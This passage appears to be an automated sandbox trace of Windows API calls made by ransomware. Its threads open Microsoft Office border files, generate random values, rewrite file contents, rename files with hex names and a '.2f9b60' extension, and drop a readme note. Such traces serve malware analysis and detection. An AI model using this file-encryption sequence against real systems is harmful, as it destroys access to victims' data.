lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.950] WriteFile (hFile=0x101c, lpBuffer=0x423a80b0, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x410ff990, lpOverlapped=0x0) [0201.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0201.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262bd0 [0201.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262bd0) returned 1 [0201.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f8740 [0201.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262bd0 [0201.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0201.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c20) returned 1 [0201.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0201.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7aa7a0 [0201.538] sprintf (in: _Dest=0x1b7aa7a0, _Format="%c%c" | out: _Dest="01") returned 2 [0201.538] sprintf (in: _Dest=0x1b7aa7a2, _Format="%c%c" | out: _Dest="16") returned 2 [0201.538] sprintf (in: _Dest=0x1b7aa7a4, _Format="%c%c" | out: _Dest="1b") returned 2 [0201.538] sprintf (in: _Dest=0x1b7aa7a6, _Format="%c%c" | out: _Dest="e4") returned 2 [0201.538] sprintf (in: _Dest=0x1b7aa7a8, _Format="%c%c" | out: _Dest="38") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7aa, _Format="%c%c" | out: _Dest="6c") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7ac, _Format="%c%c" | out: _Dest="e3") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7ae, _Format="%c%c" | out: _Dest="85") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7b0, _Format="%c%c" | out: _Dest="ab") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7b2, _Format="%c%c" | out: _Dest="cf") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7b4, _Format="%c%c" | out: _Dest="35") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7b6, _Format="%c%c" | out: _Dest="6b") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7b8, _Format="%c%c" | out: _Dest="16") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7ba, _Format="%c%c" | out: _Dest="61") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7bc, _Format="%c%c" | out: _Dest="2a") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7be, _Format="%c%c" | out: _Dest="c1") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7c0, _Format="%c%c" | out: _Dest="b0") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7c2, _Format="%c%c" | out: _Dest="71") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7c4, _Format="%c%c" | out: _Dest="95") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7c6, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7c8, _Format="%c%c" | out: _Dest="dd") returned 2 [0201.539] sprintf (in: _Dest=0x1b7aa7ca, _Format="%c%c" | out: _Dest="a5") returned 2 [0201.539] RtlInitAnsiString (in: DestinationString=0x410ffa08, SourceString="01161be4386ce385abcf356b16612ac1b07195f7dda5" | out: DestinationString="01161be4386ce385abcf356b16612ac1b07195f7dda5") [0201.539] RtlAnsiStringToUnicodeString (in: DestinationString=0x410ff9d8, SourceString="01161be4386ce385abcf356b16612ac1b07195f7dda5", AllocateDestinationString=1 | out: DestinationString="01161be4386ce385abcf356b16612ac1b07195f7dda5") returned 0x0 [0201.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7a31f0 [0201.540] wcscat (in: _Dest=0x43196c20, _Source="01161be4386" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\01161be4386") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\01161be4386" [0201.540] wcscat (in: _Dest=0x43196c20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\01161be4386.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\01161be4386.2f9b60" [0201.540] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\01161be4386.2f9b60", NtPathName=0x410ff9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\01161be4386.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4314bb60 [0225.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314bb60) returned 1 [0225.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320a1a0) returned 1 [0225.864] NtQueryInformationFile (in: FileHandle=0x101c, IoStatusBlock=0x410ffa18, FileInformation=0x410ffa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x410ffa18, FileInformation=0x410ffa28) returned 0x0 [0225.864] NtSetInformationFile (FileHandle=0x101c, IoStatusBlock=0x410ffa18, FileInformation=0x410ffa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0229.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43196c20) returned 1 [0229.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a31f0) returned 1 [0229.638] FlushFileBuffers (hFile=0x101c) returned 1 [0234.357] CloseHandle (hObject=0x101c) returned 1 [0239.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4319c9a0 [0239.463] wcscpy (in: _Dest=0x4319c9a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0239.463] wcscat (in: _Dest=0x4319c9a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0239.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0239.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319c9a0) returned 1 [0239.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aee30) returned 1 Thread: id = 1465 os_tid = 0x1938 [0120.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr")) returned 0x20 [0121.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR", dwFileAttributes=0x20) returned 1 [0121.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdd0 [0121.258] GetFileSizeEx (in: hFile=0xdd0, lpFileSize=0x414bfb20 | out: lpFileSize=0x414bfb20*=47188) returned 1 [0121.258] SetFilePointerEx (in: hFile=0xdd0, liDistanceToMove=0xb850, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.258] ReadFile (in: hFile=0xdd0, lpBuffer=0x414bfaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x414bfae8, lpOverlapped=0x0 | out: lpBuffer=0x414bfaa0*, lpNumberOfBytesRead=0x414bfae8*=0x4, lpOverlapped=0x0) returned 1 [0121.664] SetFilePointerEx (in: hFile=0xdd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0121.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262900 [0121.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0121.664] NtQuerySystemTime (in: CurrentTime=0x414bf9e0 | out: CurrentTime=0x414bf9e0*=132462177270694000) returned 0x0 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x11cc12da [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x7d79aeb2 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x6814b2b7 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x261e7701 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x53c887cf [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x3a287bd8 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x3915893f [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x1dbc3380 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x36d9d6da [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x41a90116 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x6ace92b9 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x1a93da9f [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x16f34a5a [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x57d24afe [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x66101e44 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x1bca0d35 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x290ba4e7 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x24aee468 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x522c8fd7 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x7af23beb [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x7891ab48 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x19f8a27b [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x28f461a1 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0xc68dc64 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x5118960d [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x3c65fee5 [0121.665] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x1457fa9d [0122.215] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x4fa9c56a [0122.215] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x582efa30 [0122.215] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x1e3cbdc0 [0122.215] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x41c5832a [0122.215] RtlRandomEx (in: Seed=0x414bf9d0 | out: Seed=0x414bf9d0) returned 0x7a80742d [0122.222] SetFilePointerEx (in: hFile=0xdd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.222] ReadFile (in: hFile=0xdd0, lpBuffer=0x201b1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x414bfa40, lpOverlapped=0x0 | out: lpBuffer=0x201b1d40*, lpNumberOfBytesRead=0x414bfa40*=0x3c00, lpOverlapped=0x0) returned 1 [0122.409] SetFilePointerEx (in: hFile=0xdd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0122.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0122.409] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d9f0 [0122.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d9f0) returned 1 [0122.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f7d170 [0122.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d9f0 [0122.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dae0 [0122.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dae0) returned 1 [0122.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0122.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0122.410] WriteFile (hFile=0xdd0, lpBuffer=0x41f7d170, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x414bfa40, lpOverlapped=0x0) [0172.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f7d170) returned 1 [0172.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b1d40) returned 1 [0172.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x422f3af0 [0172.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0172.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505110 [0172.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a30 [0172.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a30) returned 1 [0172.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x422f3a30 [0172.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a90 [0172.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a60 [0172.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a60) returned 1 [0172.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505110) returned 1 [0172.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0172.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x42c16090 [0172.998] SetFilePointerEx (in: hFile=0xdd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0172.999] WriteFile (in: hFile=0xdd0, lpBuffer=0x42c16090*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x414bfaf0, lpOverlapped=0x0 | out: lpBuffer=0x42c16090*, lpNumberOfBytesWritten=0x414bfaf0*=0x106, lpOverlapped=0x0) returned 1 [0199.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0199.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0199.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c90 [0199.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6c90) returned 1 [0199.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x42c0f0e0 [0199.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c90 [0199.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0199.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0199.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0199.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0199.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9ebf0 [0199.981] sprintf (in: _Dest=0x1cd9ebf0, _Format="%c%c" | out: _Dest="6c") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ebf2, _Format="%c%c" | out: _Dest="d2") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ebf4, _Format="%c%c" | out: _Dest="8b") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ebf6, _Format="%c%c" | out: _Dest="1f") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ebf8, _Format="%c%c" | out: _Dest="68") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ebfa, _Format="%c%c" | out: _Dest="74") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ebfc, _Format="%c%c" | out: _Dest="e3") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ebfe, _Format="%c%c" | out: _Dest="e6") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ec00, _Format="%c%c" | out: _Dest="f3") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ec02, _Format="%c%c" | out: _Dest="0d") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ec04, _Format="%c%c" | out: _Dest="6f") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ec06, _Format="%c%c" | out: _Dest="ad") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ec08, _Format="%c%c" | out: _Dest="82") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ec0a, _Format="%c%c" | out: _Dest="05") returned 2 [0199.981] sprintf (in: _Dest=0x1cd9ec0c, _Format="%c%c" | out: _Dest="08") returned 2 [0199.982] sprintf (in: _Dest=0x1cd9ec0e, _Format="%c%c" | out: _Dest="69") returned 2 [0199.982] sprintf (in: _Dest=0x1cd9ec10, _Format="%c%c" | out: _Dest="e4") returned 2 [0199.982] sprintf (in: _Dest=0x1cd9ec12, _Format="%c%c" | out: _Dest="23") returned 2 [0199.982] sprintf (in: _Dest=0x1cd9ec14, _Format="%c%c" | out: _Dest="41") returned 2 [0199.982] sprintf (in: _Dest=0x1cd9ec16, _Format="%c%c" | out: _Dest="fb") returned 2 [0199.982] RtlInitAnsiString (in: DestinationString=0x414bfb68, SourceString="6cd28b1f6874e3e6f30d6fad82050869e42341fb" | out: DestinationString="6cd28b1f6874e3e6f30d6fad82050869e42341fb") [0199.982] RtlAnsiStringToUnicodeString (in: DestinationString=0x414bfb38, SourceString="6cd28b1f6874e3e6f30d6fad82050869e42341fb", AllocateDestinationString=1 | out: DestinationString="6cd28b1f6874e3e6f30d6fad82050869e42341fb") returned 0x0 [0199.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b859150 [0199.983] wcscat (in: _Dest=0x431e3620, _Source="6cd28b1f68" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\6cd28b1f68") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\6cd28b1f68" [0199.983] wcscat (in: _Dest=0x431e3620, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\6cd28b1f68.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\6cd28b1f68.2f9b60" [0199.983] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\6cd28b1f68.2f9b60", NtPathName=0x414bfb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\6cd28b1f68.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431f3850 [0226.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f3850) returned 1 [0226.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309da30) returned 1 [0226.114] NtQueryInformationFile (in: FileHandle=0xdd0, IoStatusBlock=0x414bfb78, FileInformation=0x414bfb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x414bfb78, FileInformation=0x414bfb88) returned 0x0 [0226.114] NtSetInformationFile (FileHandle=0xdd0, IoStatusBlock=0x414bfb78, FileInformation=0x414bfb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0229.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e3620) returned 1 [0229.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859150) returned 1 [0229.635] FlushFileBuffers (hFile=0xdd0) returned 1 [0234.355] CloseHandle (hObject=0xdd0) returned 1 [0239.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4319c9a0 [0239.447] wcscpy (in: _Dest=0x4319c9a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0239.447] wcscat (in: _Dest=0x4319c9a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0239.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0239.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319c9a0) returned 1 [0239.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aeec0) returned 1 Thread: id = 1466 os_tid = 0x193c [0120.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr")) returned 0x20 [0121.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR", dwFileAttributes=0x20) returned 1 [0121.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdc0 [0121.267] GetFileSizeEx (in: hFile=0xdc0, lpFileSize=0x415cf9e0 | out: lpFileSize=0x415cf9e0*=57646) returned 1 [0121.267] SetFilePointerEx (in: hFile=0xdc0, liDistanceToMove=0xe12a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.267] ReadFile (in: hFile=0xdc0, lpBuffer=0x415cf960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x415cf9a8, lpOverlapped=0x0 | out: lpBuffer=0x415cf960*, lpNumberOfBytesRead=0x415cf9a8*=0x4, lpOverlapped=0x0) returned 1 [0121.485] SetFilePointerEx (in: hFile=0xdc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0121.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0121.485] NtQuerySystemTime (in: CurrentTime=0x415cf8a0 | out: CurrentTime=0x415cf8a0*=132462177268822000) returned 0x0 [0121.485] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x708a7282 [0121.485] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x4778d0f3 [0121.485] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x4aa3f9bf [0121.485] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x4da7373f [0121.485] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x4552b267 [0121.485] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x202f747c [0121.485] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0xbcb1206 [0121.485] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x66d0bd2f [0121.485] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x9a74348 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x706f5840 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x2633579b [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x50aa74bf [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x769d1701 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x5403ca4a [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x61b6a8fe [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x554b9427 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x513a2caf [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x5980750d [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x268fcd3c [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x176d3209 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x53845076 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x4552b267 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x52f63838 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x32fafdef [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x1f12f980 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x7ad76ac0 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x246b9787 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x1f9383c0 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x78dac6b9 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x78a32032 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x4ccbe714 [0121.486] RtlRandomEx (in: Seed=0x415cf890 | out: Seed=0x415cf890) returned 0x343fdcce [0124.473] SetFilePointerEx 